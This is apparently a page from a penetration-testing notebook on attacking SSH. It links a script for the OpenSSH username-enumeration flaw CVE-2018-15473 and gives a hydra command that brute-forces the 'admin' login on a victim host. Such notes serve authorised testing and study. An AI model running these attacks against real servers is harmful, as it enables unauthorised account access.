> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/protocols/port-22-ssh.md).

# SSH

## OpenSSH 2.3 < 7.7 - Username Enumeration - CVE-2018-15473

You can either use: nmap, msf module or any git scripts to accomplish this. I personally use msf.

There is this python script available:\
<https://raw.githubusercontent.com/epi052/cve-2018-15473/master/ssh-username-enum.py>

## Brute Force

```
hydra -l admin -P wordlist.txt victim_ip -t 4 ssh
```